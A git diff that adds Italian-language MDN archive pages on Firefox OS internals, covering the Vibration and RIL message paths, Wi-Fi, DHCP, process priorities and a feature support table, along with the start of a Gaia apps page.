+<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt;&amp; pattern, const WindowIdentifier &amp;id) {
+  AutoInfallibleTArray&lt;uint32_t, 8&gt; p(pattern);
+
+  WindowIdentifier newID(id);
+  newID.AppendProcessID();
+  Hal()-&gt;SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow()));
+}</pre>
+
+<p>Viene inviato un messaggio definito nell'interfaccia <code>PHal</code>, definita in <a href="http://mxr.mozilla.org/mozilla-central/source/hal/sandbox/PHal.ipdl">hal/sandbox/PHal.ipdl</a>. Questo metodo è descritto più o meno come segue:</p>
+
+<pre>Vibrate(uint32_t[] pattern);</pre>
+
+<p>Il messaggio viene ricevuto dal metodo <code>HalParent::RecvVibrate()</code> implementato in <a href="http://mxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp">hal/sandbox/SandboxHal.cpp</a>, come segue:</p>
+
+<pre class="brush:cpp;">virtual bool RecvVibrate(const InfallibleTArray&lt;unsigned int&gt;&amp; pattern,
+            const InfallibleTArray&lt;uint64_t&gt; &amp;id,
+            PBrowserParent *browserParent) MOZ_OVERRIDE {
+
+  hal::Vibrate(pattern, newID);
+  return true;
+}</pre>
+
+<p>Sono stati omessi alcuni dettagli non rilevanti alla discussione; comunque, è stato mostrato come i messaggi progrediscono da un content process in Gecko a Gonk, quindi all'implementazione di <code>Vibrate()</code> nella HAL di Gonk e infine al driver che gestisce il motore di vibrazionie.</p>
+
+<h3 id="Le_API_DOM">Le API DOM</h3>
+
+<p><strong>Le interfacce DOM </strong> rappresentano la modalità con cui i web content comunicano con Gecko. In realtà c'è molto più e se sei interessato, puoi leggere l'articolo <a href="/en-US/docs/DOM/About_the_Document_Object_Model" title="/en-US/docs/DOM/About_the_Document_Object_Model">about the DOM</a>. Le interfacce DOM vengono definite utilizzando <a href="/en-US/docs/XPIDL" title="/en-US/docs/XPIDL">IDL</a>, che comprende sia una funzione esterna (<em>foreign function interface</em>, FFI) che un modello di oggetto (<em>object model</em>, OM) fra Javascript e C++.</p>
+
+<p>La API di Vibrazione viene esposta attraverso un'interfaccia IDL <code><a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/base/nsIDOMNavigator.idl">nsIDOMNavigator.idl</a>:</code></p>
+
+<pre>[implicit_jscontext] void mozVibrate(in jsval aPattern);</pre>
+
+<p>L'argomento <a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/Jsval" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JSVAL_IS_OBJECT"><code>jsval</code></a> indica che <code>mozVibrate()</code> accetta come parametro di input qualsiasi valore. Il compilatore IDL, <a href="/en-US/docs/XPIDL/xpidl" title="/en-US/docs/XPIDL/xpidl"><code>xpidl</code></a>, genera l'interfaccia C++ che viene viene quindi implementata dalla classe <code>Navigator</code> in <code><a href="http://mxr.mozilla.org/mozilla-central/source/dom/base/Navigator.cpp">Navigator.cpp</a>.</code></p>
+
+<pre class="brush:cpp;">NS_IMETHODIMP Navigator::MozVibrate(const jsval&amp; aPattern, JSContext* cx) {
+  // ...
+  hal::Vibrate(pattern);
+  return NS_OK;
+}</pre>
+
+<p>C'è molto più codice in questo metodo di quanto riportato, ma non è importante ai fini della discussione. Il punto è che la chiamata a <code>hal::Vibrate()</code> trasferisce il controllo dal DOM all'HAL di Gecko. Da qui, entriamo nell'implementazione del HAL discusso precedentemente fino al driver della scheda di rete. Soprattutto, l'implementazione del DOM è indipendente dalla piattaforma su cui è in esecuzione (Gonk, Windows, Mac OS X o qualsiasi altra). Inoltre non si preoccupa se il codice viene eseguito in un content process o nel server Gecko. Questo dettagli sono lasciati ai layer di sistema che se ne occupa.</p>
+
+<p>L'API di Vibrazione è molto semplice e ciò la rende un buon esempio. L' <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">API di SMS </a>è un esempio di API più complessa che utilizza un proprio strato "remoto" per connettere il content process al server.</p>
+
+<h2 id="Radio_Interface_Layer_(RIL)">Radio Interface Layer (RIL)</h2>
+
+<p>Il RIL è stato menzionato nella sezione <a href="#L'archituttura_dei_processi_userspace">L'archituttura dei processi userspace</a>. Questa sezione esaminerà come le varie componenti di questo strato interagiscono in maggior dettaglio.</p>
+
+<p>Le principali componenti sono:</p>
+
+<dl>
+ <dt><code>rild</code></dt>
+ <dd>Il daemon che interagisce con il firmware proprietario del modem.</dd>
+ <dt><code>rilproxy</code></dt>
+ <dd>il daemon che agisce come proxy fra <code>rild</code> e Gecko (implementato nel processo <code>b2g</code>). <span class="long_text" id="result_box" lang="it"><span class="hps">Questo risolve</span> <span class="hps">il</span> <span class="hps">problema di autorizzazione</span> <span class="hps">che si pone</span> <span class="hps">quando si cerca</span> <span class="hps">di interagire direttamente con</span> <span class="hps">rild</span><span>,</span> in quanto è possibile farlo <span class="hps">solo per chi appartiene al gruppo </span><span class="hps">radio.</span></span></dd>
+ <dt><code>b2g</code></dt>
+ <dd>Questo processo, conoscuto anche col nome di <strong>chrome</strong>, implementa Gecko. Le componenti di b2g che interagiscono con RIL sono un <em>worker thread</em> implementato in <a href="http://mxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js">dom/system/gonk/ril_worker.js</a> che interagisce con <code>rild</code> attraverso <code>rilproxy</code> e implementa la macchina a stati del modem; e l'interfaccia <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer">nsIRadioInterfaceLayer</a> che è il thread primario del servizio <a href="/en-US/docs/XPCOM" title="/en-US/docs/XPCOM">XPCOM</a> e agisce principalmente per scambiare messaggi fra il worker thread <code>ril_worker.js</code> e le varie componenti di Gecko, inclusi i content process.</dd>
+ <dt>I content process di Gecko</dt>
+ <dd>All'interno dei content process di Gecko l'interfaccia <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper">nsIRILContentHelper </a>fornisce un servizio XPCOM che permette al codice che implementa parti del DOM, quali le API <a href="/en-US/docs/API/WebTelephony" title="/en-US/docs/API/WebTelephony">Telephony</a> e <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS</a>, di comunicare con l'interfaccia modem/radio, che risiede nel processo chrome.</dd>
+</dl>
+
+<h3 id="Esempio_Communicazione_da_rild_al_DOM">Esempio: Communicazione da rild al DOM</h3>
+
+<p>Diamo un'occhiata ad un esempio di come le parti basse del sistema comunicano col DOM. Quando il modem riceve una chiamata in ingresso, avvisa <code>rild</code> utilizzando un meccanismo proprietario. <code>rild</code> quindi prepara un messaggio per il suo client in conformità con un protocollo "open" descritto in <a href="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h" title="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h"><code>ril.h</code></a>. Sempre nel caso di una chiamata in ingresso, un messaggio <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> viene generato e inviato da <code>rild</code> a <code>rilproxy</code>.</p>
+
+<p><code>rilproxy</code>, implementato in <a href="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c" title="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c"><code>rilproxy.c</code></a>, riceve questo messaggio nel suo ciclo principale mettendosi in <em>polling </em>sulla connessione con <code>rild</code> nel seguente modo:</p>
+
+<pre class="brush:cpp;">ret = read(rilproxy_rw, data, 1024);
+
+if(ret &gt; 0) {
+  writeToSocket(rild_rw, data, ret);
+}</pre>
+
+<p>Dopo aver ricevuto il messaggio da <code>rild</code>, <code>rilproxy </code>lo invia a Gecko attraverso la socket che li connette. Gecko riceve il messaggio tramite l'<a href="https://dxr.mozilla.org/mozilla-central/source/ipc/ril/Ril.cpp" rel="custom">IPC thread</a>:</p>
+
+<pre class="brush:cpp;">int ret = read(fd, mIncoming-&gt;Data, 1024);
+// ... handle errors ...
+mIncoming-&gt;mSize = ret;
+sConsumer-&gt;MessageReceived(mIncoming.forget());
+</pre>
+
+<p>Il consumatore di questi messaggi è il <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/SystemWorkerManager.cpp" rel="custom">SystemWorkerManager</a>, che riconfeziona il messaggio e lo inoltra al worker thread <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">ril_worker.js</a></code> che implementa la macchina a stati di RIL; questo avviene nel metodo <code>RILReceiver::MessageReceived()</code>:</p>
+
+<pre class="brush:cpp;">virtual void MessageReceived(RilRawData *aMessage) {
+  nsRefPtr&lt;DispatchRILEvent&gt; dre(new DispatchRILEvent(aMessage));
+  mDispatcher-&gt;PostTask(dre);
+}</pre>
+
+<p>PostTask a sua volta chiama la funzione <code>onRILMessage(),</code>implementata in Javascript. Ciò avviene utilizzando la API JavaScript <a href="https://developer.mozilla.org/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName">JS_CallFunctionName</a><code>()</code>:</p>
+
+<pre>return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv),
+                           argv, argv);</pre>
+
+<p><code>onRILMessage()</code> è implementata in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_woker.js" rel="custom">dom/system/gonk/ril_woker.js</a>, elabora il messaggio e lo scompone. Ciascun pacchetto viene quindi inviato ad un gestore appropriato:</p>
+
+<pre class="brush:js;">handleParcel: function handleParcel(request_type, length) {
+  let method = this[request_type];
+  if (typeof method == "function") {
+    if (DEBUG) debug("Handling parcel as " + method.name);
+    method.call(this, length);
+  }
+}
+</pre>
+
+<p>Il gestore verifica la tipologia di richiesta assicurandosi che sia definita come funzione nel codice JavaScript, e solo successivamente chiamando il metodo. ril_worker.js implementa un metodo specifico per ciascun tipo di richiesta.</p>
+
+<p>Nel nostro esempio in corrispondenza a <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> viene chiamato il seguente gestore:</p>
+
+<pre class="brush:js;">RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() {
+  this.getCurrentCalls();
+};</pre>
+
+<p>Come puoi notare dal codice, se lo stato è cambiato durante la ricezione della notifica viene aggiornato semplicemente chiamando il metodo getCurrentCall():</p>
+
+<pre class="brush:js;">getCurrentCalls: function getCurrentCalls() {
+  Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS);
+}</pre>
+
+<p>il quale invia una richiesta a rild per acquisire lo stato di tutte le chiamate attive. La richiesta segue il medesimo percorso ma inverso rispetto a quello seguito da RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED (cioè da ril_worker.js a SystemWorkerManager a Ril.cpp, quindi a rilproxy e finalmente a rild). rild quindi risponde, seguendo il medesimo percorso, fino al gestore dell'evento del messaggio REQUEST_GET_CURRENT_CALLS all'interno di ril_worker.js. In questo modo avvengono le comunicazioni bidirezionali.</p>
+
+<p>Lo stato viene quindi comparato con lo stato precedente; se c'è stato un cambio, ril_worker.js aggiorna il servizio <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer">nsIRadioInterfaceLayer</a>:</p>
+
+<pre class="brush:js;">_handleChangedCallState: function _handleChangedCallState(changedCall) {
+  let message = {type: "callStateChange",
+                 call: changedCall};
+  this.sendDOMMessage(message);
+}</pre>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer">nsIRadioInterfaceLayer </a>è implementato in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/syste/gonk/RadioInterfaceLayer.js" rel="custom">dom/syste/gonk/RadioInterfaceLayer.js</a>; il messaggio viene ricevuto dal suo metodo onmessage():</p>
+
+<pre class="brush:js;"> onmessage: function onmessage(event) {
+   let message = event.data;
+   debug("Received message from worker: " + JSON.stringify(message));
+   switch (message.type) {
+     case "callStateChange":
+       // This one will handle its own notifications.
+       this.handleCallStateChange(message.call);
+       break;
+   ...
+</pre>
+
+<p>e successivamente inviato al content process tramite il Parent Process Message Manager (PPMM):</p>
+
+<pre class="brush:js;">handleCallStateChange: function handleCallStateChange(call) {
+  [some internal state updating]
+  ppmm.sendAsyncMessage("RIL:CallStateChanged", call);
+}</pre>
+
+<p>Nel content process, il messaggio viene ricevuto dal metodo <code>receiveMessage() </code>definito nel servizio <code><a href="/it/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code>, dal Child Process Message Manager (CPMM):</p>
+
+<pre class="brush:js;">receiveMessage: function receiveMessage(msg) {
+  let request;
+  debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json));
+  switch (msg.name) {
+    case "RIL:CallStateChanged":
+      this._deliverTelephonyCallback("callStateChanged",
+                                     [msg.json.callIndex, msg.json.state,
+                                     msg.json.number, msg.json.isActive]);
+      break;</pre>
+
+<p>Questo, a sua volta, invoca <code><a href="https://developer.mozilla.org/it/docs/XPCOM_Interface_Reference/nsIRILTelephonyCallback#callStateChanged()">nsIRILTelephonyCallback.callStateChanged()</a></code> per ciascun oggetto che ha registrato un metodo di callback. Ogni applicazione web che accede alla API <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.mozTelephony">window.navigator.mozTelephony</a> registra un proprio metodo di callback che inoltrerà gli eventi al codice JavaScript all'interno dell'applicatione web, sia come evento di cambio stato che di un evento di chiamata in <code>ingresso.</code></p>
+
+<pre class="brush:cpp;">NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState,
+                                          const nsAString&amp; aNumber, bool aIsActive) {
+  [...]
+
+  if (modifiedCall) {
+    // Change state.
+    modifiedCall-&gt;ChangeState(aCallState);
+
+    // See if this should replace our current active call.
+    if (aIsActive) {
+      mActiveCall = modifiedCall;
+    }
+
+    return NS_OK;
+  }
+
+  nsRefPtr&lt;TelephonyCall&gt; call =
+          TelephonyCall::Create(this, aNumber, aCallState, aCallIndex);
+  nsRefPtr&lt;CallEvent&gt; event = CallEvent::Create(call);
+  nsresult rv = event-&gt;Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming"));
+  NS_ENSURE_SUCCESS(rv, rv);
+  return NS_OK;
+}</pre>
+
+<p>Le appicazioni possono ricevere tali eventi e aggiornare di conseguenza la propria interfaccia utente:</p>
+
+<pre class="brush:js;">handleEvent: function fm_handleEvent(evt) {
+  switch (evt.call.state) {
+    case 'connected':
+      this.connected();
+      break;
+    case 'disconnected':
+      this.disconnected();
+      break;
+    default:
+      break;
+  }
+}</pre>
+
+<p>Dai uno sguardo all'implementazione di <a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js" title="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js"><code>handleEvent()</code> nell'applicazione Dialer</a> come ulteriore esempio.</p>
+
+<h3 id="3G_dati">3G dati</h3>
+
+<p>Una "chiamata dati" viene inizializzata tramite un messaggio RIL; questo abilita la modalità di trasferimento dati al modem. Tale chiamata crea e attiva un'interfaccia <a href="https://it.wikipedia.org/wiki/Point-to-Point Protocol" title="Point-to-Point Protocol">Point-to-Point Protocol</a> (PPP) nel kernel linux che potrà essere configurata utilizzando le interfacce usuali.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Questa sessione necessita di essere scritta.</p>
+</div>
+
+<h3 id="API_DOM_relative">API DOM relative</h3>
+
+<p>Segue la lista delle API DOM relative alla comunicazione con RIL:</p>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony" title="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony">Telephony API</a></li>
+ <li><a href="/en-US/docs/API/WebSMS/Introduction_to_WebSMS" title="/en-US/docs/API/WebSMS/Introduction_to_WebSMS">SMS API</a></li>
+ <li>Mobile Connection API</li>
+</ul>
+
+<h2 id="Wi-Fi">Wi-Fi</h2>
+
+<p>La maggior parte del lavoro di back end per Firefox OS viene effettuato dal processo <code>wpa_supplicant</code>. Ciò significa che l'attività principale del back end è quella di gestire il supplicant e di svolgere alcuni compiti ausiliari quali caricare il driver del WIFI e abilitare o disabilitare le interfacce di rete. In pratica, questo significa che il back end è la macchina a stati, con un'evoluzione degli stati che segue quella del supplicant.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Molto di ciò che accade nel WIFI dipende dai cambiamenti di stato nel processo <code>wpa_supplicant</code>.</p>
+</div>
+
+<p>L'implementazione delle componenti che costituiscono il WiFi è suddivisa in due file:</p>
+
+<dl>
+ <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/DOMWifiManager.js" rel="custom">dom/wifi/DOMWifiManager.js</a></dt>
+ <dd>Implementa le API esposte ai web content, come definite in <code><a href="/it/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWifi.idl" title="">nsIWifi.idl</a></code>.</dd>
+ <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/WifiWorker.js" rel="custom">dom/wifi/WifiWorker.js</a></dt>
+ <dd>Implementa la macchina a stati e il codice che gestisce il supplicant.</dd>
+</dl>
+
+<p>Questi due file comunicano tra loro utilizzando il <a href="/en-US/docs/The_message_manager" title="/en-US/docs/The_message_manager">message manager</a>. Il back end rimane in ascolto di messaggi che richiedono certi azioni, quali l'"associazione" e risponde con un messaggio quando l'azione richiesta è stata espletata.</p>
+
+<p>La parte del DOM si pone in ascolto sia sulle risposte che di eventuali eventi che notificano cambiamenti di stato o l'aggiornamento di informazioni.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Ogni API sincrona del DOM viene implementata tenendo in cache i dati nella sua parte dell'interfaccia. Messaggi sincroni vanno evitati ogni qualvolta sia possibile.</p>
+</div>
+
+<h3 id="WifiWorker.js">WifiWorker.js</h3>
+
+<p>Questo file implementa la logica principale dell'interfaccia WIFI. Viene eseguito nel processo chrome e istanziato dal SystemWorkerManager. È suddiviso in due sezioni: una funzione anonima e il <code>WifiWorker</code>. La funzione anonima finisce per essere il <code>WifiManager</code> fornendo una API locale, comprese le notifiche per eventi quali le connessioni al supplicant e i risultati. <span id="result_box" lang="it"><span class="hps">In</span> <span class="hps">generale</span><span>, contiene</span> <span class="hps">poca</span> <span class="hps">logica,</span> <span class="hps">risponde</span> <span class="hps">semplicemente</span> <span class="hps">con</span> <span class="hps">le informazioni richieste e</span> <span class="hps">controlla</span> <span class="hps">i</span> <span class="hps">dettagli della connessione</span> <span class="hps">con</span> <span class="hps">il richiedente</span><span>.</span></span></p>
+
+<p>Il <code>WifiWorker</code> si colloca fra il <code>WifiManager</code> e il DOM. Risponde agli eventi e li inoltra al DOM, riceve richieste dal DOM ed esegue le appropriate azioni sul supplicant. Inoltre mantiene le informazioni di stato del supplicant e queli azioni intraprendere di conseguenza.</p>
+
+<h3 id="DOMWifiManager.js">DOMWifiManager.js</h3>
+
+<p>Implementa la API del DOM, gestisce le richieste da e verso i chiamanti e il WiFi worker. C'è veramente poca logica.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Per evitare messaggi sincroni nel processo chrome il WIFI manager tenendo in cache lo stato in funzione dell'evento ricevuto.</p>
+</div>
+
+<p>C'è un unico messaggio sincrono, inviato nel momento in cui la API del DOM viene istanziata per ottenere lo stato del supplicant.</p>
+
+<h3 id="DHCP">DHCP</h3>
+
+<p>Il DHCP e il DNS sono gestiti dal processo di <code>dhcpcd</code>, lo standard DHCP client di Linux. Purtroppo esso non è in grado di reagire quanto la connessione di rete viene persa. Come conseguenza Firefox OS termina e riavvia <code>dhcpcd</code> ogni qualvolta si connette ad una data rete wireless.</p>
+
+<p><code>dhcpcd</code> è anche responsabile per la configurazione della rotta di default; viene inoltre effettuata una chiamata al <em>network manager</em> per configurare i server DNS.</p>
+
+<h2 id="Network_Manager">Network Manager</h2>
+
+<p>Il gestore di rete (Network Manager) configura le interfacce di rete per le connettività 3G e WIFI.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Questa sessione necessita di essere scritta.</p>
+</div>
+
+<h2 id="Processi_e_thread">Processi e thread</h2>
+
+<p>Firefox OS utilizza i thread POSIX per implementare tutti i thread applicativi, inclusi i thread principali di ciascuna applicazione, i web workers e gli helper threads. I control group vengono utilizzati per gestire la priorità di esecuzione di processi e thread utilizzando lo scheduler standard di Linux. In funzione dello stato, il processo viene assegnato ad un differente control group. Abbiamo attualmente 6 livelli di priorità corrispondenti a 5 gruppi di controllo:</p>
+
+<table class="standard-table" style="height: 255px; width: 708px;">
+ <caption>Livello di priorità dei processi</caption>
+ <thead>
+  <tr>
+   <th scope="col">Priorità</th>
+   <th scope="col">Control group</th>
+   <th scope="col">Utilizzato da</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>MASTER</code></td>
+   <td> </td>
+   <td>Processo b2g</td>
+  </tr>
+  <tr>
+   <td><code>FOREGROUND_HIGH</code></td>
+   <td>apps/critical</td>
+   <td>Applicazioni che utilizzano CPU wakelock</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>FOREGROUND</code></td>
+   <td>apps</td>
+   <td>Applicazioni in foreground (visibili all'utente)</td>
+  </tr>
+  <tr>
+   <td><code>FOREGROUND_KEYBOARD</code></td>
+   <td>apps</td>
+   <td>Applicazione tastiera</td>
+  </tr>
+  <tr>
+   <td><code>BACKGROUND_PERCEIVABLE</code></td>
+   <td>apps</td>
+   <td>Applicazione audio in background (non visibili all'utente)</td>
+  </tr>
+  <tr>
+   <td><code>BACKGROUND</code></td>
+   <td>apps/bg_non_interactive</td>
+   <td>Tutte le altre applicazioni in esecuzione in background</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Alcuni livelli condividono lo stesso control group, in quanto quei livelli differiscono nella modalità con cui vengono gestiti dall'<em>out of memory killer</em>. Tutte le proprietà possono essere configurate durante il processo di build attraverso le preferenze; le principali proprietà sono diponibili nel file <a href="http://hg.mozilla.org/mozilla-central/file/54e8c6492dc4/b2g/app/b2g.js#l610"><code>b2g/app/b2g.js</code></a>.</p>
+
+<p>I seguenti control groups vengono attualmente utilizzati:</p>
+
+<table class="standard-table">
+ <caption>Control groups</caption>
+ <thead>
+  <tr>
+   <th scope="col">Percorso</th>
+   <th scope="col">Allocazione CPU</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td> </td>
+   <td>50% del tempo totale di CPU</td>
+   <td>Control group di root riservato per il processo b2g principale per i deamon di sistema</td>
+  </tr>
+  <tr>
+   <td><code>apps</code></td>
+   <td>50% del tempo totale di CPU</td>
+   <td>Applicazioni regolari</td>
+  </tr>
+  <tr>
+   <td><code>apps/critical</code></td>
+   <td>95% di <code>apps</code></td>
+   <td>Applicazioni critiche</td>
+  </tr>
+  <tr>
+   <td><code>apps/bg_perceivable</code></td>
+   <td>10% di <code>apps</code></td>
+   <td>Applicazioni di background percepibili</td>
+  </tr>
+  <tr>
+   <td><code>apps/bg_non_interactive</code></td>
+   <td>5% di <code>apps</code></td>
+   <td>Applicazioni di background</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Per maggiori informazioni sull'out-of-memory killer e sulla modalità con cui Firefox OS gestisce le situazioni di memoria scarsa puoi leggere <a href="/en-US/Firefox_OS/Platform/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS</a>.</p>
+</div>
+
+<p>All'interno di un processo il thread principale eredita il valore di nice del processo, mentre ai thread dei web worker viene assegnato un valore di nice maggiore di un'unità rispetto al thread principale, pertanto vengono eseguiti con una priorità inferiore. Questo per evitare che worker che fanno uso intensivo di CPU rallentino il thread principale. Le priorità sui processi vengono modificate in occasioni di eventi maggiori quali l'invio in background o foreground dell'applicazione, l'avvio di una nuova applicazione o l'acquisizione di CPU wakelock.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Attualmente non è possibile utilizzare cgroups su dispositivi ICS a causa di un bug nel kernel.</p>
+</div>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/platform/feature_support_chart/index.html b/files/it/archive/b2g_os/platform/feature_support_chart/index.html
new file mode 100644
index 0000000000..edbb159f49
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/feature_support_chart/index.html
@@ -0,0 +1,158 @@
+---
+title: Tabella delle funzioni supportate
+slug: Archive/B2G_OS/Platform/Feature_support_chart
+tags:
+  - QA
+  - Testing
+translation_of: Archive/B2G_OS/Platform/Feature_support_chart
+---
+<div class="summary">
+<p>Firefox OS è disponibile in diverse build, scaribili già pronte o compilabili ad hoc, inoltre alcune funzioni possono variare a seconda del dispositivo su cui la build viene installata. Nella tabella sottostante vengono elencate le funzioni disponibili per ciascuna build.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Caratteristiche</th>
+   <th scope="col">Dispositivo</th>
+   <th scope="col">Emulatore</th>
+   <th scope="col">Desktop</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Dialer</th>
+   <td>Completo</td>
+   <td>Solo UI, no rete</td>
+   <td>Solo UI, no rete</td>
+  </tr>
+  <tr>
+   <th scope="row">Contatti</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">SMS</th>
+   <td>Completo</td>
+   <td>Solo UI, no rete</td>
+   <td>Solo UI, no rete</td>
+  </tr>
+  <tr>
+   <th scope="row">Fotocamera</th>
+   <td>Completo</td>
+   <td>Solo UI, no supporto fotocamera</td>
+   <td>Solo UI, Solo UI, supporto fotocamera non garantito</td>
+  </tr>
+  <tr>
+   <th scope="row">Galleria</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Video</th>
+   <td>Completo</td>
+   <td>Solo UI</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Musica</th>
+   <td>Completo</td>
+   <td>?</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Radio FM</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Solo UI</td>
+  </tr>
+  <tr>
+   <th scope="row">Email</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Calcolatrice</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Browser</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Marketplace</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Orologio</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Agenda</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Schermata principale</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Blocca schermo</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Tastiera</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Task Manager</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">First-Run</th>
+   <td>Completo</td>
+   <td>?</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <th scope="row">Notifiche</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+  <tr>
+   <th scope="row">Barra di stato</th>
+   <td>Completo</td>
+   <td>Impossibile testare alcuni stati di rete</td>
+   <td>Impossibile testare alcuni stati di rete</td>
+  </tr>
+  <tr>
+   <th scope="row">Impostazioni</th>
+   <td>Completo</td>
+   <td>Completo</td>
+   <td>Completo</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/platform/gaia/gaia_apps/index.html b/files/it/archive/b2g_os/platform/gaia/gaia_apps/index.html
new file mode 100644
index 0000000000..204171bbf1
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/gaia/gaia_apps/index.html
@@ -0,0 +1,90 @@
+---
+title: App Gaia
+slug: Archive/B2G_OS/Platform/Gaia/Gaia_apps
+tags:
+  - Apps
+  - Firefox OS
+  - Gaia
+translation_of: Archive/B2G_OS/Platform/Gaia/Gaia_apps
+---
+<div class="summary">
+<p><span class="seoSummary">Gaia è il front-end di Firefox OS, contentente sia le funzionalità di amministrazione di sistema che le app pre-installate nei singoli dispositivi Firefox OS. Tutti i sorgenti Gaia — compresi il sistema e keyboard IMEs — sono completamente implementati in HTML5 (HTML + CSS + JavaScript) &amp; Open WebAPIs. Questa raccolta di documenti contiene informazioini su come funzioni ogni applicazione disponibile nella famiglia Gaia.</span></p>
+</div>
+
+<h2 id="Categorie_di_funzionalità_di_Gaia">Categorie di funzionalità di Gaia</h2>
+
+<p>Le diverse app di Gaia possono essere più o meno categorizzate nei seguenti gruppi.</p>
+
+<div class="note">
